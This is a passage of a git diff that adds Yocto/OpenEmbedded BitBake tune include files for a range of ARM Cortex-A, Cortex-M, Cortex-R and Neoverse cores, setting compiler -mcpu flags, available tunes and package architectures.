+PACKAGE_EXTRA_ARCHS:tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
+ARMPKGARCH:tune-cortexa8hf = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf = "cortexa8"
+ARMPKGARCH:tune-cortexa8hf-neon = "cortexa8"
+ARMPKGARCH:tune-cortexa8thf-neon = "cortexa8"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa8hf = "${TUNE_FEATURES:tune-cortexa8} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf = "${TUNE_FEATURES:tune-cortexa8t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8hf-neon = "${TUNE_FEATURES:tune-cortexa8-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa8thf-neon = "${TUNE_FEATURES:tune-cortexa8t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa8hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
new file mode 100644
index 0000000000..4b4a52884d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc
@@ -0,0 +1,55 @@
+DEFAULTTUNE ?= "cortexa9thf-neon"
+
+require conf/machine/include/arm/arch-armv7a.inc
+
+TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
+ARMPKGARCH:tune-cortexa9 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t = "cortexa9"
+ARMPKGARCH:tune-cortexa9-neon = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9 = "arm vfp cortexa9"
+TUNE_FEATURES:tune-cortexa9t = "${TUNE_FEATURES:tune-cortexa9} thumb"
+TUNE_FEATURES:tune-cortexa9-neon = "${TUNE_FEATURES:tune-cortexa9} neon"
+TUNE_FEATURES:tune-cortexa9t-neon = "${TUNE_FEATURES:tune-cortexa9-neon} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} cortexa9-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
+
+# HF Tunes
+AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
+ARMPKGARCH:tune-cortexa9hf = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-neon = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9hf = "${TUNE_FEATURES:tune-cortexa9} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf = "${TUNE_FEATURES:tune-cortexa9t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9hf-neon = "${TUNE_FEATURES:tune-cortexa9-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf-neon = "${TUNE_FEATURES:tune-cortexa9t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa9hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
+
+# VFPv3 Tunes
+AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
+ARMPKGARCH:tune-cortexa9-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf-vfpv3 = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9-vfpv3 = "${TUNE_FEATURES:tune-cortexa9} vfpv3"
+TUNE_FEATURES:tune-cortexa9t-vfpv3 = "${TUNE_FEATURES:tune-cortexa9t} vfpv3"
+TUNE_FEATURES:tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9hf} vfpv3"
+TUNE_FEATURES:tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9thf} vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
new file mode 100644
index 0000000000..a6cb566387
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M3
+#
+DEFAULTTUNE ?= "cortexm3"
+
+TUNEVALID[cortexm3] = "Enable Cortex-M3 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm3', ' -mcpu=cortex-m3', '', d)}"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "cortexm3"
+ARMPKGARCH:tune-cortexm3 = "cortexm3"
+TUNE_FEATURES:tune-cortexm3 = "${TUNE_FEATURES:tune-armv7m} cortexm3"
+PACKAGE_EXTRA_ARCHS:tune-cortexm3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7m} cortexm3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
new file mode 100644
index 0000000000..e86622ff3d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M4
+#
+DEFAULTTUNE ?= "cortexm4"
+
+TUNEVALID[cortexm4] = "Enable Cortex-M4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm4', ' -mcpu=cortex-m4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm4"
+ARMPKGARCH:tune-cortexm4 = "cortexm4"
+TUNE_FEATURES:tune-cortexm4 = "${TUNE_FEATURES:tune-armv7em} cortexm4"
+PACKAGE_EXTRA_ARCHS:tune-cortexm4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm4"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
new file mode 100644
index 0000000000..6434ec6398
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M7
+#
+DEFAULTTUNE ?= "cortexm7"
+
+TUNEVALID[cortexm7] = "Enable Cortex-M7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm7', ' -mcpu=cortex-m7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm7"
+ARMPKGARCH:tune-cortexm7 = "cortexm7"
+TUNE_FEATURES:tune-cortexm7 = "${TUNE_FEATURES:tune-armv7em} cortexm7"
+PACKAGE_EXTRA_ARCHS:tune-cortexm7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm7"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
new file mode 100644
index 0000000000..0eed729630
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4
+#
+DEFAULTTUNE ?= "cortexr4"
+
+TUNEVALID[cortexr4] = "Enable Cortex-R4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4', ' -mcpu=cortex-r4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4"
+ARMPKGARCH:tune-cortexr4 = "cortexr4"
+TUNE_FEATURES:tune-cortexr4 = "${TUNE_FEATURES:tune-armv7r} cortexr4"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} cortexr4"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
new file mode 100644
index 0000000000..0712b3ab1b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4F
+#
+DEFAULTTUNE ?= "cortexr4f"
+
+TUNEVALID[cortexr4f] = "Enable Cortex-R4F specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4f', ' -mcpu=cortex-r4f', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4f"
+ARMPKGARCH:tune-cortexr4f = "cortexr4f"
+TUNE_FEATURES:tune-cortexr4f = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr4f"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4f = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr4f-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
new file mode 100644
index 0000000000..ecaaa0d846
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R5
+#
+DEFAULTTUNE ?= "cortexr5"
+
+TUNEVALID[cortexr5] = "Enable Cortex-R5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr5', ' -mcpu=cortex-r5', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr5"
+ARMPKGARCH:tune-cortexr5 = "cortexr5"
+TUNE_FEATURES:tune-cortexr5 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr5 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr5-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
new file mode 100644
index 0000000000..bfae1f0075
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R7
+#
+DEFAULTTUNE ?= "cortexr7"
+
+TUNEVALID[cortexr7] = "Enable Cortex-R7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr7', ' -mcpu=cortex-r7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr7"
+ARMPKGARCH:tune-cortexr7 = "cortexr7"
+TUNE_FEATURES:tune-cortexr7 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr7 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr7-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
new file mode 100644
index 0000000000..7fb824f6e9
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R8
+#
+DEFAULTTUNE ?= "cortexr8"
+
+TUNEVALID[cortexr8] = "Enable Cortex-R8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr8', ' -mcpu=cortex-r8', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr8"
+ARMPKGARCH:tune-cortexr8 = "cortexr8"
+TUNE_FEATURES:tune-cortexr8 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr8 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr8-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
new file mode 100644
index 0000000000..493ad67b21
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M55
+#
+DEFAULTTUNE ?= "cortexm55"
+
+TUNEVALID[cortexm55] = "Enable Cortex-M55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm55', ' -mcpu=cortex-m55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-1m-main.inc
+
+AVAILTUNES += "cortexm55"
+ARMPKGARCH:tune-cortexm55 = "cortexm55"
+TUNE_FEATURES:tune-cortexm55 = "${TUNE_FEATURES:tune-armv8-1m-main} cortexm55"
+PACKAGE_EXTRA_ARCHS:tune-cortexm55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main} cortexm55"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
new file mode 100644
index 0000000000..d130b4b90a
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "cortexa55"
+
+TUNEVALID[cortexa55] = "Enable Cortex-A55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa55', ' -mcpu=cortex-a55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa55"
+ARMPKGARCH:tune-cortexa55 = "cortexa55"
+TUNE_FEATURES:tune-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa55"
+BASE_LIB:tune-cortexa55 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
new file mode 100644
index 0000000000..c7e86887b5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A65
+#
+DEFAULTTUNE ?= "cortexa65"
+
+TUNEVALID[cortexa65] = "Enable Cortex-A65 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa65', ' -mcpu=cortex-a65', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa65"
+ARMPKGARCH:tune-cortexa65 = "cortexa65"
+TUNE_FEATURES:tune-cortexa65 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa65"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65"
+BASE_LIB:tune-cortexa65 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
new file mode 100644
index 0000000000..dad6d1b174
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A65AE
+#
+DEFAULTTUNE ?= "cortexa65ae"
+
+TUNEVALID[cortexa65ae] = "Enable Cortex-A65AE specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa65ae', ' -mcpu=cortex-a65ae', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa65ae"
+ARMPKGARCH:tune-cortexa65ae = "cortexa65ae"
+TUNE_FEATURES:tune-cortexa65ae = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa65ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65ae"
+BASE_LIB:tune-cortexa65ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
new file mode 100644
index 0000000000..3a47e8278d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
@@ -0,0 +1,20 @@
+#
+# Tune Settings for big.LITTLE Cortex-A75 - Cortex-A55
+#
+DEFAULTTUNE ?= "cortexa75-cortexa55"
+
+TUNEVALID[cortexa75-cortexa55] = "Enable big.LITTLE Cortex-A75.Cortex-A55 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa75-cortexa55", "cortexa75-cortexa55:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa75-cortexa55", " -mcpu=cortex-a75.cortex-a55", "", d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa75-cortexa55 cortexa75-cortexa55-crypto"
+ARMPKGARCH:tune-cortexa75-cortexa55 = "cortexa75-cortexa55"
+ARMPKGARCH:tune-cortexa75-cortexa55-crypto = "cortexa75-cortexa55-crypto"
+TUNE_FEATURES:tune-cortexa75-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a} cortexa75-cortexa55"
+TUNE_FEATURES:tune-cortexa75-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa75-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa75-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75-cortexa55 cortexa75-cortexa55-crypto"
+BASE_LIB:tune-cortexa75-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa75-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
new file mode 100644
index 0000000000..2d9a1159f1
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A75
+#
+DEFAULTTUNE ?= "cortexa75"
+
+TUNEVALID[cortexa75] = "Enable Cortex-A75 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa75', ' -mcpu=cortex-a75', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa75"
+ARMPKGARCH:tune-cortexa75 = "cortexa75"
+TUNE_FEATURES:tune-cortexa75 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa75"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75"
+BASE_LIB:tune-cortexa75 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
new file mode 100644
index 0000000000..f4c99ad6bb
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
@@ -0,0 +1,20 @@
+#
+# Tune Settings for big.LITTLE Cortex-A76 - Cortex-A55
+#
+DEFAULTTUNE ?= "cortexa76-cortexa55"
+
+TUNEVALID[cortexa76-cortexa55] = "Enable big.LITTLE Cortex-A76.Cortex-A55 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa76-cortexa55", "cortexa76-cortexa55:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa76-cortexa55", " -mcpu=cortex-a76.cortex-a55", "", d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa76-cortexa55 cortexa76-cortexa55-crypto"
+ARMPKGARCH:tune-cortexa76-cortexa55 = "cortexa76-cortexa55"
+ARMPKGARCH:tune-cortexa76-cortexa55-crypto = "cortexa76-cortexa55-crypto"
+TUNE_FEATURES:tune-cortexa76-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a} cortexa76-cortexa55"
+TUNE_FEATURES:tune-cortexa76-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa76-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa76-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76-cortexa55 cortexa76-cortexa55-crypto"
+BASE_LIB:tune-cortexa76-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa76-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
new file mode 100644
index 0000000000..0dfdb8c5e4
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A76
+#
+DEFAULTTUNE ?= "cortexa76"
+
+TUNEVALID[cortexa76] = "Enable Cortex-A76 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa76', ' -mcpu=cortex-a76', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa76"
+ARMPKGARCH:tune-cortexa76 = "cortexa76"
+TUNE_FEATURES:tune-cortexa76 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa76"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76"
+BASE_LIB:tune-cortexa76 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
new file mode 100644
index 0000000000..b2863dca68
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A76AE
+#
+DEFAULTTUNE ?= "cortexa76ae"
+
+TUNEVALID[cortexa76ae] = "Enable Cortex-A76AE specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa76ae', ' -mcpu=cortex-a76ae', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa76ae"
+ARMPKGARCH:tune-cortexa76ae = "cortexa76ae"
+TUNE_FEATURES:tune-cortexa76ae = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa76ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76ae"
+BASE_LIB:tune-cortexa76ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
new file mode 100644
index 0000000000..654b1f6323
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Cortex-A77
+#
+DEFAULTTUNE ?= "cortexa77"
+
+TUNEVALID[cortexa77] = "Enable Cortex-A77 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa77', ' -mcpu=cortex-a77', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa77"
+ARMPKGARCH:tune-cortexa77 = "cortexa77"
+TUNE_FEATURES:tune-cortexa77 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa77"
+PACKAGE_EXTRA_ARCHS:tune-cortexa77 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa77"
+BASE_LIB:tune-cortexa77 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
new file mode 100644
index 0000000000..15ed595bde
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
@@ -0,0 +1,16 @@
+#
+# Tune Settings for Neoverse-E1
+#
+DEFAULTTUNE ?= "neoversee1"
+
+TUNEVALID[neoversee1] = "Enable Neoverse-E1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversee1', ' -mcpu=neoverse-e1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversee1"
+ARMPKGARCH:tune-neoversee1 = "neoversee1"
+TUNE_FEATURES:tune-neoversee1 = "${TUNE_FEATURES:tune-armv8-2a-crypto} neoversee1"
+PACKAGE_EXTRA_ARCHS:tune-neoversee1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversee1"
+BASE_LIB:tune-neoversee1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
new file mode 100644
index 0000000000..9d181ef4d5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Neoverse-N1
+#
+DEFAULTTUNE ?= "neoversen1"
+
+TUNEVALID[neoversen1] = "Enable Neoverse-N1 specific processor optimizations"
